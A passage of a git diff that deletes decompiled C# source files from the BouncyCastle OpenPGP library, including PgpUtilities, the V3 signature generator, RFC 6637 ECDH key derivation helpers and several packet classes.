PgpUserAttributeSubpacketVector(array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUtilities.cs deleted file mode 100644 index fcef1ea..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpUtilities.cs +++ /dev/null @@ -1,419 +0,0 @@ -using System; -using System.IO; -using System.Text; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public sealed class PgpUtilities -{ - private const int ReadAhead = 60; - - private PgpUtilities() - { - } - - public static MPInteger[] DsaSigToMpi(byte[] encoding) - { - DerInteger derInteger; - DerInteger derInteger2; - try - { - Asn1Sequence asn1Sequence = (Asn1Sequence)Asn1Object.FromByteArray(encoding); - derInteger = (DerInteger)asn1Sequence[0]; - derInteger2 = (DerInteger)asn1Sequence[1]; - } - catch (IOException exception) - { - throw new PgpException("exception encoding signature", exception); - } - return new MPInteger[2] - { - new MPInteger(derInteger.Value), - new MPInteger(derInteger2.Value) - }; - } - - public static MPInteger[] RsaSigToMpi(byte[] encoding) - { - return new MPInteger[1] - { - new MPInteger(new BigInteger(1, encoding)) - }; - } - - public static string GetDigestName(HashAlgorithmTag hashAlgorithm) - { - return hashAlgorithm switch - { - HashAlgorithmTag.Sha1 => "SHA1", - HashAlgorithmTag.MD2 => "MD2", - HashAlgorithmTag.MD5 => "MD5", - HashAlgorithmTag.RipeMD160 => "RIPEMD160", - HashAlgorithmTag.Sha224 => "SHA224", - HashAlgorithmTag.Sha256 => "SHA256", - HashAlgorithmTag.Sha384 => "SHA384", - HashAlgorithmTag.Sha512 => "SHA512", - _ => throw new PgpException("unknown hash algorithm tag in GetDigestName: " + hashAlgorithm), - }; - } - - public static string GetSignatureName(PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm) - { - string text; - switch (keyAlgorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaSign: - text = "RSA"; - break; - case PublicKeyAlgorithmTag.Dsa: - text = "DSA"; - break; - case PublicKeyAlgorithmTag.EC: - text = "ECDH"; - break; - case PublicKeyAlgorithmTag.ECDsa: - text = "ECDSA"; - break; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - text = "ElGamal"; - break; - default: - throw new PgpException("unknown algorithm tag in signature:" + keyAlgorithm); - } - return GetDigestName(hashAlgorithm) + "with" + text; - } - - public static string GetSymmetricCipherName(SymmetricKeyAlgorithmTag algorithm) - { - return algorithm switch - { - SymmetricKeyAlgorithmTag.Null => null, - SymmetricKeyAlgorithmTag.TripleDes => "DESEDE", - SymmetricKeyAlgorithmTag.Idea => "IDEA", - SymmetricKeyAlgorithmTag.Cast5 => "CAST5", - SymmetricKeyAlgorithmTag.Blowfish => "Blowfish", - SymmetricKeyAlgorithmTag.Safer => "SAFER", - SymmetricKeyAlgorithmTag.Des => "DES", - SymmetricKeyAlgorithmTag.Aes128 => "AES", - SymmetricKeyAlgorithmTag.Aes192 => "AES", - SymmetricKeyAlgorithmTag.Aes256 => "AES", - SymmetricKeyAlgorithmTag.Twofish => "Twofish", - SymmetricKeyAlgorithmTag.Camellia128 => "Camellia", - SymmetricKeyAlgorithmTag.Camellia192 => "Camellia", - SymmetricKeyAlgorithmTag.Camellia256 => "Camellia", - _ => throw new PgpException("unknown symmetric algorithm: " + algorithm), - }; - } - - public static int GetKeySize(SymmetricKeyAlgorithmTag algorithm) - { - switch (algorithm) - { - case SymmetricKeyAlgorithmTag.Des: - return 64; - case SymmetricKeyAlgorithmTag.Idea: - case SymmetricKeyAlgorithmTag.Cast5: - case SymmetricKeyAlgorithmTag.Blowfish: - case SymmetricKeyAlgorithmTag.Safer: - case SymmetricKeyAlgorithmTag.Aes128: - case SymmetricKeyAlgorithmTag.Camellia128: - return 128; - case SymmetricKeyAlgorithmTag.TripleDes: - case SymmetricKeyAlgorithmTag.Aes192: - case SymmetricKeyAlgorithmTag.Camellia192: - return 192; - case SymmetricKeyAlgorithmTag.Aes256: - case SymmetricKeyAlgorithmTag.Twofish: - case SymmetricKeyAlgorithmTag.Camellia256: - return 256; - default: - throw new PgpException("unknown symmetric algorithm: " + algorithm); - } - } - - public static KeyParameter MakeKey(SymmetricKeyAlgorithmTag algorithm, byte[] keyBytes) - { - string symmetricCipherName = GetSymmetricCipherName(algorithm); - return ParameterUtilities.CreateKeyParameter(symmetricCipherName, keyBytes); - } - - public static KeyParameter MakeRandomKey(SymmetricKeyAlgorithmTag algorithm, SecureRandom random) - { - int keySize = GetKeySize(algorithm); - byte[] array = new byte[(keySize + 7) / 8]; - random.NextBytes(array); - return MakeKey(algorithm, array); - } - - internal static byte[] EncodePassPhrase(char[] passPhrase, bool utf8) - { - if (passPhrase != null) - { - if (!utf8) - { - return Strings.ToByteArray(passPhrase); - } - return Encoding.UTF8.GetBytes(passPhrase); - } - return null; - } - - public static KeyParameter MakeKeyFromPassPhrase(SymmetricKeyAlgorithmTag algorithm, S2k s2k, char[] passPhrase) - { - return DoMakeKeyFromPassPhrase(algorithm, s2k, EncodePassPhrase(passPhrase, utf8: false), clearPassPhrase: true); - } - - public static KeyParameter MakeKeyFromPassPhraseUtf8(SymmetricKeyAlgorithmTag algorithm, S2k s2k, char[] passPhrase) - { - return DoMakeKeyFromPassPhrase(algorithm, s2k, EncodePassPhrase(passPhrase, utf8: true), clearPassPhrase: true); - } - - public static KeyParameter MakeKeyFromPassPhraseRaw(SymmetricKeyAlgorithmTag algorithm, S2k s2k, byte[] rawPassPhrase) - { - return DoMakeKeyFromPassPhrase(algorithm, s2k, rawPassPhrase, clearPassPhrase: false); - } - - internal static KeyParameter DoMakeKeyFromPassPhrase(SymmetricKeyAlgorithmTag algorithm, S2k s2k, byte[] rawPassPhrase, bool clearPassPhrase) - { - int keySize = GetKeySize(algorithm); - byte[] array = new byte[(keySize + 7) / 8]; - int num = 0; - int num2 = 0; - while (num < array.Length) - { - IDigest digest; - if (s2k != null) - { - string digestName = GetDigestName(s2k.HashAlgorithm); - try - { - digest = DigestUtilities.GetDigest(digestName); - } - catch (Exception exception) - { - throw new PgpException("can't find S2k digest", exception); - } - for (int i = 0; i != num2; i++) - { - digest.Update(0); - } - byte[] iV = s2k.GetIV(); - switch (s2k.Type) - { - case 0: - digest.BlockUpdate(rawPassPhrase, 0, rawPassPhrase.Length); - break; - case 1: - digest.BlockUpdate(iV, 0, iV.Length); - digest.BlockUpdate(rawPassPhrase, 0, rawPassPhrase.Length); - break; - case 3: - { - long iterationCount = s2k.IterationCount; - digest.BlockUpdate(iV, 0, iV.Length); - digest.BlockUpdate(rawPassPhrase, 0, rawPassPhrase.Length); - iterationCount -= iV.Length + rawPassPhrase.Length; - while (iterationCount > 0) - { - if (iterationCount < iV.Length) - { - digest.BlockUpdate(iV, 0, (int)iterationCount); - break; - } - digest.BlockUpdate(iV, 0, iV.Length); - iterationCount -= iV.Length; - if (iterationCount < rawPassPhrase.Length) - { - digest.BlockUpdate(rawPassPhrase, 0, (int)iterationCount); - iterationCount = 0L; - } - else - { - digest.BlockUpdate(rawPassPhrase, 0, rawPassPhrase.Length); - iterationCount -= rawPassPhrase.Length; - } - } - break; - } - default: - throw new PgpException("unknown S2k type: " + s2k.Type); - } - } - else - { - try - { - digest = DigestUtilities.GetDigest("MD5"); - for (int j = 0; j != num2; j++) - { - digest.Update(0); - } - digest.BlockUpdate(rawPassPhrase, 0, rawPassPhrase.Length); - } - catch (Exception exception2) - { - throw new PgpException("can't find MD5 digest", exception2); - } - } - byte[] array2 = DigestUtilities.DoFinal(digest); - if (array2.Length > array.Length - num) - { - Array.Copy(array2, 0, array, num, array.Length - num); - } - else - { - Array.Copy(array2, 0, array, num, array2.Length); - } - num += array2.Length; - num2++; - } - if (clearPassPhrase && rawPassPhrase != null) - { - Array.Clear(rawPassPhrase, 0, rawPassPhrase.Length); - } - return MakeKey(algorithm, array); - } - - public static void WriteFileToLiteralData(Stream output, char fileType, FileInfo file) - { - PgpLiteralDataGenerator pgpLiteralDataGenerator = new PgpLiteralDataGenerator(); - Stream pOut = pgpLiteralDataGenerator.Open(output, fileType, file.Name, file.Length, file.LastWriteTime); - PipeFileContents(file, pOut, 32768); - } - - public static void WriteFileToLiteralData(Stream output, char fileType, FileInfo file, byte[] buffer) - { - PgpLiteralDataGenerator pgpLiteralDataGenerator = new PgpLiteralDataGenerator(); - Stream pOut = pgpLiteralDataGenerator.Open(output, fileType, file.Name, file.LastWriteTime, buffer); - PipeFileContents(file, pOut, buffer.Length); - } - - private static void PipeFileContents(FileInfo file, Stream pOut, int bufSize) - { - FileStream fileStream = file.OpenRead(); - byte[] array = new byte[bufSize]; - try - { - int count; - while ((count = fileStream.Read(array, 0, array.Length)) > 0) - { - pOut.Write(array, 0, count); - } - } - finally - { - Array.Clear(array, 0, array.Length); - Platform.Dispose(pOut); - Platform.Dispose(fileStream); - } - } - - private static bool IsPossiblyBase64(int ch) - { - if ((ch < 65 || ch > 90) && (ch < 97 || ch > 122) && (ch < 48 || ch > 57) && ch != 43 && ch != 47 && ch != 13) - { - return ch == 10; - } - return true; - } - - public static Stream GetDecoderStream(Stream inputStream) - { - if (!inputStream.CanSeek) - { - throw new ArgumentException("inputStream must be seek-able", "inputStream"); - } - long position = inputStream.Position; - int num = inputStream.ReadByte(); - if ((num & 0x80) != 0) - { - inputStream.Position = position; - return inputStream; - } - if (!IsPossiblyBase64(num)) - { - inputStream.Position = position; - return new ArmoredInputStream(inputStream); - } - byte[] array = new byte[60]; - int i = 1; - int num2 = 1; - array[0] = (byte)num; - for (; i != 60; i++) - { - if ((num = inputStream.ReadByte()) < 0) - { - break; - } - if (!IsPossiblyBase64(num)) - { - inputStream.Position = position; - return new ArmoredInputStream(inputStream); - } - if (num != 10 && num != 13) - { - array[num2++] = (byte)num; - } - } - inputStream.Position = position; - if (i < 4) - { - return new ArmoredInputStream(inputStream); - } - byte[] array2 = new byte[8]; - Array.Copy(array, 0, array2, 0, array2.Length); - try - { - byte[] array3 = Base64.Decode(array2); - bool hasHeaders = (array3[0] & 0x80) == 0; - return new ArmoredInputStream(inputStream, hasHeaders); - } - catch (IOException ex) - { - throw ex; - } - catch (Exception ex2) - { - throw new IOException(ex2.Message); - } - } - - internal static IWrapper CreateWrapper(SymmetricKeyAlgorithmTag encAlgorithm) - { - switch (encAlgorithm) - { - case SymmetricKeyAlgorithmTag.Aes128: - case SymmetricKeyAlgorithmTag.Aes192: - case SymmetricKeyAlgorithmTag.Aes256: - return WrapperUtilities.GetWrapper("AESWRAP"); - case SymmetricKeyAlgorithmTag.Camellia128: - case SymmetricKeyAlgorithmTag.Camellia192: - case SymmetricKeyAlgorithmTag.Camellia256: - return WrapperUtilities.GetWrapper("CAMELLIAWRAP"); - default: - throw new PgpException("unknown wrap algorithm: " + encAlgorithm); - } - } - - internal static byte[] GenerateIV(int length, SecureRandom random) - { - byte[] array = new byte[length]; - random.NextBytes(array); - return array; - } - - internal static S2k GenerateS2k(HashAlgorithmTag hashAlgorithm, int s2kCount, SecureRandom random) - { - byte[] iv = GenerateIV(8, random); - return new S2k(hashAlgorithm, iv, s2kCount); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpV3SignatureGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpV3SignatureGenerator.cs deleted file mode 100644 index 1ecc194..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/PgpV3SignatureGenerator.cs +++ /dev/null @@ -1,163 +0,0 @@ -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Parameters; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class PgpV3SignatureGenerator -{ - private PublicKeyAlgorithmTag keyAlgorithm; - - private HashAlgorithmTag hashAlgorithm; - - private PgpPrivateKey privKey; - - private ISigner sig; - - private IDigest dig; - - private int signatureType; - - private byte lastb; - - public PgpV3SignatureGenerator(PublicKeyAlgorithmTag keyAlgorithm, HashAlgorithmTag hashAlgorithm) - { - this.keyAlgorithm = keyAlgorithm; - this.hashAlgorithm = hashAlgorithm; - dig = DigestUtilities.GetDigest(PgpUtilities.GetDigestName(hashAlgorithm)); - sig = SignerUtilities.GetSigner(PgpUtilities.GetSignatureName(keyAlgorithm, hashAlgorithm)); - } - - public void InitSign(int sigType, PgpPrivateKey key) - { - InitSign(sigType, key, null); - } - - public void InitSign(int sigType, PgpPrivateKey key, SecureRandom random) - { - privKey = key; - signatureType = sigType; - try - { - ICipherParameters parameters = key.Key; - if (random != null) - { - parameters = new ParametersWithRandom(key.Key, random); - } - sig.Init(forSigning: true, parameters); - } - catch (InvalidKeyException exception) - { - throw new PgpException("invalid key.", exception); - } - dig.Reset(); - lastb = 0; - } - - public void Update(byte b) - { - if (signatureType == 1) - { - doCanonicalUpdateByte(b); - } - else - { - doUpdateByte(b); - } - } - - private void doCanonicalUpdateByte(byte b) - { - switch (b) - { - case 13: - doUpdateCRLF(); - break; - case 10: - if (lastb != 13) - { - doUpdateCRLF(); - } - break; - default: - doUpdateByte(b); - break; - } - lastb = b; - } - - private void doUpdateCRLF() - { - doUpdateByte(13); - doUpdateByte(10); - } - - private void doUpdateByte(byte b) - { - sig.Update(b); - dig.Update(b); - } - - public void Update(byte[] b) - { - if (signatureType == 1) - { - for (int i = 0; i != b.Length; i++) - { - doCanonicalUpdateByte(b[i]); - } - } - else - { - sig.BlockUpdate(b, 0, b.Length); - dig.BlockUpdate(b, 0, b.Length); - } - } - - public void Update(byte[] b, int off, int len) - { - if (signatureType == 1) - { - int num = off + len; - for (int i = off; i != num; i++) - { - doCanonicalUpdateByte(b[i]); - } - } - else - { - sig.BlockUpdate(b, off, len); - dig.BlockUpdate(b, off, len); - } - } - - public PgpOnePassSignature GenerateOnePassVersion(bool isNested) - { - return new PgpOnePassSignature(new OnePassSignaturePacket(signatureType, hashAlgorithm, keyAlgorithm, privKey.KeyId, isNested)); - } - - public PgpSignature Generate() - { - long num = DateTimeUtilities.CurrentUnixMs() / 1000; - byte[] array = new byte[5] - { - (byte)signatureType, - (byte)(num >> 24), - (byte)(num >> 16), - (byte)(num >> 8), - (byte)num - }; - sig.BlockUpdate(array, 0, array.Length); - dig.BlockUpdate(array, 0, array.Length); - byte[] encoding = sig.GenerateSignature(); - byte[] array2 = DigestUtilities.DoFinal(dig); - byte[] fingerprint = new byte[2] - { - array2[0], - array2[1] - }; - MPInteger[] signature = ((keyAlgorithm == PublicKeyAlgorithmTag.RsaSign || keyAlgorithm == PublicKeyAlgorithmTag.RsaGeneral) ? PgpUtilities.RsaSigToMpi(encoding) : PgpUtilities.DsaSigToMpi(encoding)); - return new PgpSignature(new SignaturePacket(3, signatureType, privKey.KeyId, keyAlgorithm, hashAlgorithm, num * 1000, fingerprint, signature)); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/Rfc6637Utilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/Rfc6637Utilities.cs deleted file mode 100644 index b6872a3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/Rfc6637Utilities.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Nist; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math.EC; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Encoders; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public sealed class Rfc6637Utilities -{ - private static readonly byte[] ANONYMOUS_SENDER = Hex.Decode("416E6F6E796D6F75732053656E64657220202020"); - - private Rfc6637Utilities() - { - } - - public static string GetAgreementAlgorithm(PublicKeyPacket pubKeyData) - { - ECDHPublicBcpgKey eCDHPublicBcpgKey = (ECDHPublicBcpgKey)pubKeyData.Key; - return eCDHPublicBcpgKey.HashAlgorithm switch - { - HashAlgorithmTag.Sha256 => "ECCDHwithSHA256CKDF", - HashAlgorithmTag.Sha384 => "ECCDHwithSHA384CKDF", - HashAlgorithmTag.Sha512 => "ECCDHwithSHA512CKDF", - _ => throw new ArgumentException("Unknown hash algorithm specified: " + eCDHPublicBcpgKey.HashAlgorithm), - }; - } - - public static DerObjectIdentifier GetKeyEncryptionOID(SymmetricKeyAlgorithmTag algID) - { - return algID switch - { - SymmetricKeyAlgorithmTag.Aes128 => NistObjectIdentifiers.IdAes128Wrap, - SymmetricKeyAlgorithmTag.Aes192 => NistObjectIdentifiers.IdAes192Wrap, - SymmetricKeyAlgorithmTag.Aes256 => NistObjectIdentifiers.IdAes256Wrap, - _ => throw new PgpException("unknown symmetric algorithm ID: " + algID), - }; - } - - public static int GetKeyLength(SymmetricKeyAlgorithmTag algID) - { - return algID switch - { - SymmetricKeyAlgorithmTag.Aes128 => 16, - SymmetricKeyAlgorithmTag.Aes192 => 24, - SymmetricKeyAlgorithmTag.Aes256 => 32, - _ => throw new PgpException("unknown symmetric algorithm ID: " + algID), - }; - } - - public static byte[] CreateKey(PublicKeyPacket pubKeyData, ECPoint s) - { - byte[] parameters = CreateUserKeyingMaterial(pubKeyData); - ECDHPublicBcpgKey eCDHPublicBcpgKey = (ECDHPublicBcpgKey)pubKeyData.Key; - return Kdf(eCDHPublicBcpgKey.HashAlgorithm, s, GetKeyLength(eCDHPublicBcpgKey.SymmetricKeyAlgorithm), parameters); - } - - public static byte[] CreateUserKeyingMaterial(PublicKeyPacket pubKeyData) - { - MemoryStream memoryStream = new MemoryStream(); - ECDHPublicBcpgKey eCDHPublicBcpgKey = (ECDHPublicBcpgKey)pubKeyData.Key; - byte[] encoded = eCDHPublicBcpgKey.CurveOid.GetEncoded(); - memoryStream.Write(encoded, 1, encoded.Length - 1); - memoryStream.WriteByte((byte)pubKeyData.Algorithm); - memoryStream.WriteByte(3); - memoryStream.WriteByte(1); - memoryStream.WriteByte((byte)eCDHPublicBcpgKey.HashAlgorithm); - memoryStream.WriteByte((byte)eCDHPublicBcpgKey.SymmetricKeyAlgorithm); - memoryStream.Write(ANONYMOUS_SENDER, 0, ANONYMOUS_SENDER.Length); - byte[] array = PgpPublicKey.CalculateFingerprint(pubKeyData); - memoryStream.Write(array, 0, array.Length); - return memoryStream.ToArray(); - } - - private static byte[] Kdf(HashAlgorithmTag digestAlg, ECPoint s, int keyLen, byte[] parameters) - { - byte[] encoded = s.XCoord.GetEncoded(); - string digestName = PgpUtilities.GetDigestName(digestAlg); - IDigest digest = DigestUtilities.GetDigest(digestName); - digest.Update(0); - digest.Update(0); - digest.Update(0); - digest.Update(1); - digest.BlockUpdate(encoded, 0, encoded.Length); - digest.BlockUpdate(parameters, 0, parameters.Length); - byte[] data = DigestUtilities.DoFinal(digest); - return Arrays.CopyOfRange(data, 0, keyLen); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/SXprUtilities.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/SXprUtilities.cs deleted file mode 100644 index 7905486..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/SXprUtilities.cs +++ /dev/null @@ -1,81 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public sealed class SXprUtilities -{ - private class MyS2k : S2k - { - private readonly long mIterationCount64; - - public override long IterationCount => mIterationCount64; - - internal MyS2k(HashAlgorithmTag algorithm, byte[] iv, long iterationCount64) - : base(algorithm, iv, (int)iterationCount64) - { - mIterationCount64 = iterationCount64; - } - } - - private SXprUtilities() - { - } - - private static int ReadLength(Stream input, int ch) - { - int num = ch - 48; - while ((ch = input.ReadByte()) >= 0 && ch != 58) - { - num = num * 10 + ch - 48; - } - return num; - } - - internal static string ReadString(Stream input, int ch) - { - int num = ReadLength(input, ch); - char[] array = new char[num]; - for (int i = 0; i != array.Length; i++) - { - array[i] = (char)input.ReadByte(); - } - return new string(array); - } - - internal static byte[] ReadBytes(Stream input, int ch) - { - int num = ReadLength(input, ch); - byte[] array = new byte[num]; - Streams.ReadFully(input, array); - return array; - } - - internal static S2k ParseS2k(Stream input) - { - SkipOpenParenthesis(input); - ReadString(input, input.ReadByte()); - byte[] iv = ReadBytes(input, input.ReadByte()); - long iterationCount = long.Parse(ReadString(input, input.ReadByte())); - SkipCloseParenthesis(input); - return new MyS2k(HashAlgorithmTag.Sha1, iv, iterationCount); - } - - internal static void SkipOpenParenthesis(Stream input) - { - int num = input.ReadByte(); - if (num != 40) - { - throw new IOException("unknown character encountered"); - } - } - - internal static void SkipCloseParenthesis(Stream input) - { - int num = input.ReadByte(); - if (num != 41) - { - throw new IOException("unknown character encountered"); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/WrappedGeneratorStream.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/WrappedGeneratorStream.cs deleted file mode 100644 index 29cdd18..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OpenPgp/WrappedGeneratorStream.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg.OpenPgp; - -public class WrappedGeneratorStream : FilterStream -{ - private readonly IStreamGenerator gen; - - public WrappedGeneratorStream(IStreamGenerator gen, Stream str) - : base(str) - { - this.gen = gen; - } - - public override void Close() - { - gen.Close(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OutputStreamPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OutputStreamPacket.cs deleted file mode 100644 index 69012f4..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/OutputStreamPacket.cs +++ /dev/null @@ -1,21 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public abstract class OutputStreamPacket -{ - private readonly BcpgOutputStream bcpgOut; - - internal OutputStreamPacket(BcpgOutputStream bcpgOut) - { - if (bcpgOut == null) - { - throw new ArgumentNullException("bcpgOut"); - } - this.bcpgOut = bcpgOut; - } - - public abstract BcpgOutputStream Open(); - - public abstract void Close(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Packet.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Packet.cs deleted file mode 100644 index a0d95d7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/Packet.cs +++ /dev/null @@ -1,5 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public class Packet -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PacketTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PacketTag.cs deleted file mode 100644 index ce37605..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PacketTag.cs +++ /dev/null @@ -1,27 +0,0 @@ -namespace Org.BouncyCastle.Bcpg; - -public enum PacketTag -{ - Reserved = 0, - PublicKeyEncryptedSession = 1, - Signature = 2, - SymmetricKeyEncryptedSessionKey = 3, - OnePassSignature = 4, - SecretKey = 5, - PublicKey = 6, - SecretSubkey = 7, - CompressedData = 8, - SymmetricKeyEncrypted = 9, - Marker = 10, - LiteralData = 11, - Trust = 12, - UserId = 13, - PublicSubkey = 14, - UserAttribute = 17, - SymmetricEncryptedIntegrityProtected = 18, - ModificationDetectionCode = 19, - Experimental1 = 60, - Experimental2 = 61, - Experimental3 = 62, - Experimental4 = 63 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyAlgorithmTag.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyAlgorithmTag.cs deleted file mode 100644 index dfe0d9e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyAlgorithmTag.cs +++ /dev/null @@ -1,29 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Bcpg; - -public enum PublicKeyAlgorithmTag -{ - RsaGeneral = 1, - RsaEncrypt = 2, - RsaSign = 3, - ElGamalEncrypt = 16, - Dsa = 17, - [Obsolete("Use 'ECDH' instead")] - EC = 18, - ECDH = 18, - ECDsa = 19, - ElGamalGeneral = 20, - DiffieHellman = 21, - Experimental_1 = 100, - Experimental_2 = 101, - Experimental_3 = 102, - Experimental_4 = 103, - Experimental_5 = 104, - Experimental_6 = 105, - Experimental_7 = 106, - Experimental_8 = 107, - Experimental_9 = 108, - Experimental_10 = 109, - Experimental_11 = 110 -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyEncSessionPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyEncSessionPacket.cs deleted file mode 100644 index 109fcd7..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyEncSessionPacket.cs +++ /dev/null @@ -1,92 +0,0 @@ -using System.IO; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.IO; - -namespace Org.BouncyCastle.Bcpg; - -public class PublicKeyEncSessionPacket : ContainedPacket -{ - private int version; - - private long keyId; - - private PublicKeyAlgorithmTag algorithm; - - private byte[][] data; - - public int Version => version; - - public long KeyId => keyId; - - public PublicKeyAlgorithmTag Algorithm => algorithm; - - internal PublicKeyEncSessionPacket(BcpgInputStream bcpgIn) - { - version = bcpgIn.ReadByte(); - keyId |= (long)bcpgIn.ReadByte() << 56; - keyId |= (long)bcpgIn.ReadByte() << 48; - keyId |= (long)bcpgIn.ReadByte() << 40; - keyId |= (long)bcpgIn.ReadByte() << 32; - keyId |= (long)bcpgIn.ReadByte() << 24; - keyId |= (long)bcpgIn.ReadByte() << 16; - keyId |= (long)bcpgIn.ReadByte() << 8; - keyId |= (uint)bcpgIn.ReadByte(); - algorithm = (PublicKeyAlgorithmTag)bcpgIn.ReadByte(); - switch (algorithm) - { - case PublicKeyAlgorithmTag.RsaGeneral: - case PublicKeyAlgorithmTag.RsaEncrypt: - data = new byte[1][] { new MPInteger(bcpgIn).GetEncoded() }; - break; - case PublicKeyAlgorithmTag.ElGamalEncrypt: - case PublicKeyAlgorithmTag.ElGamalGeneral: - { - MPInteger mPInteger = new MPInteger(bcpgIn); - MPInteger mPInteger2 = new MPInteger(bcpgIn); - data = new byte[2][] - { - mPInteger.GetEncoded(), - mPInteger2.GetEncoded() - }; - break; - } - case PublicKeyAlgorithmTag.EC: - data = new byte[1][] { Streams.ReadAll(bcpgIn) }; - break; - default: - throw new IOException("unknown PGP public key algorithm encountered"); - } - } - - public PublicKeyEncSessionPacket(long keyId, PublicKeyAlgorithmTag algorithm, byte[][] data) - { - version = 3; - this.keyId = keyId; - this.algorithm = algorithm; - this.data = new byte[data.Length][]; - for (int i = 0; i < data.Length; i++) - { - this.data[i] = Arrays.Clone(data[i]); - } - } - - public byte[][] GetEncSessionKey() - { - return data; - } - - public override void Encode(BcpgOutputStream bcpgOut) - { - MemoryStream memoryStream = new MemoryStream(); - BcpgOutputStream bcpgOutputStream = new BcpgOutputStream(memoryStream); - bcpgOutputStream.WriteByte((byte)version); - bcpgOutputStream.WriteLong(keyId); - bcpgOutputStream.WriteByte((byte)algorithm); - for (int i = 0; i < data.Length; i++) - { - bcpgOutputStream.Write(data[i]); - } - Platform.Dispose(bcpgOutputStream); - bcpgOut.WritePacket(PacketTag.PublicKeyEncryptedSession, memoryStream.ToArray(), oldFormat: true); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyPacket.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyPacket.cs deleted file mode 100644 index 11f6618..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Bcpg/PublicKeyPacket.cs +++ /dev/null @@ -1,93 +0,0 @@ -using System; -using System.IO; -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Bcpg; - -public class PublicKeyPacket : ContainedPacket -{ - private int version; - - private long time; - - private int validDays; - - private PublicKeyAlgorithmTag algorithm; - - private IBcpgKey key; - - public virtual int Version => version; - - public virtual PublicKeyAlgorithmTag Algorithm => algorithm; - - public virtual int ValidDays => validDays; - - public virtual IBcpgKey Key => key; - - internal PublicKeyPacket(BcpgInputStream bcpgIn) - { - version = bcpgIn.ReadByte(); - time = (uint)((bcpgIn.ReadByte() << 24) | (bcpgIn.ReadByte() << 16) | (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte()); - if (version <= 3) - { - validDays = (bcpgIn.ReadByte() << 8) | bcpgIn.ReadByte(); - } - algorithm = 